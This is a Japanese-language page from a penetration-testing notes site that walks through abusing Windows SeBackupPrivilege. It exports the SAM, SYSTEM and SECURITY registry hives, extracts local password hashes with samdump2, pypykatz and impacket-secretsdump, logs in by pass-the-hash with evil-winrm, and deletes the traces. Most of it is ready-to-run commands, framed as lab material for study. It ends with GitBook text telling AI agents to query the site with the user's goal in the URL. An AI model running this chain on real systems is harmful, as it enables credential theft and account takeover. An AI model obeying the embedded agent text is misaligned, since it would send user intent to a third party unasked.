> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md).

# SeBackupPrivilege

SeBackupPrivilegeを悪用してSAMとSYSTEMのレジストリハイブをエクスポートし、Windowsのローカルハッシュを抽出する。

`SeBackupPrivilege` バックアップのコンテキストで保護されたファイルを読み取ることを可能にします。ラボ環境では、この特権を使ってコピーできます `SAM` および `SYSTEM`、その後ローカルアカウントのハッシュをオフラインで抽出します。

## 検出

```powershell
whoami /priv
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5d1e6f58202ec3883b988728548a66f98739fda%2Fimage%20(2712).png?alt=media" alt="SeBackupPrivilege shown in whoami /priv"><figcaption></figcaption></figure>

## モジュールを読み込む

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege>" %}

```powershell
SeBackupPrivilegeCmdLets.dll をアップロード
SeBackupPrivilegeUtils.dll をアップロード
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-448c241fd1096d858e09ed00ea9fd60a7aec0c52%2Fimage%20(2713).png?alt=media" alt="SeBackupPrivilege modules loaded"><figcaption></figcaption></figure>

## SAM と SYSTEM をエクスポート

```cmd
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03d5d6200b5b6173856fb745a24a9fc18e206b06%2Fimage%20(2715).png?alt=media" alt="Exporting SAM and SYSTEM registry hives"><figcaption></figcaption></figure>

ファイルをダウンロード:

```powershell
download sam
download system
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-744ab6636c2bcf09bc648f6b7436cd31a1c93296%2Fimage%20(2716).png?alt=media" alt="Downloading exported registry hives"><figcaption></figcaption></figure>

## ハッシュを抽出

```bash
samdump2 system sam
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bab0e858303b23f0bb12e4bce4774e7b880831a%2Fimage%20(2718).png?alt=media" alt="Hash extraction with samdump2"><figcaption></figcaption></figure>

代替:

```bash
pypykatz registry system --sam sam
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-179e390f740523e1401680346d6cc618438d1142%2Fimage%20(2717).png?alt=media" alt="Hash extraction with pypykatz"><figcaption></figcaption></figure>

## Pass-the-Hashで検証

```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6638affa77ecbaee987dace0bee8a6642228823%2F%7B97029CC7-1C0D-4857-984D-5B10A40D1DD8%7D.png?alt=media" alt="Pass-the-Hash validation with Evil-WinRM"><figcaption></figcaption></figure>

## 要点

* `SeBackupPrivilege` ローカルの管理者グループに直接所属していなくても機密性があります。
* エクスポート `SECURITY` LSAシークレットやキャッシュされたドメインの情報が必要な場合にも同様です。
* レジストリハイブのエクスポートと保護されたシステムファイルへのアクセスを監視します。

## Impacketによる抽出

Impacketは保存されたハイブをオフラインで解析できます:

```cmd
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save
```

```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```

## クリーンアップ

```cmd
del C:\Windows\Temp\sam.save
del C:\Windows\Temp\system.save
del C:\Windows\Temp\security.save
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
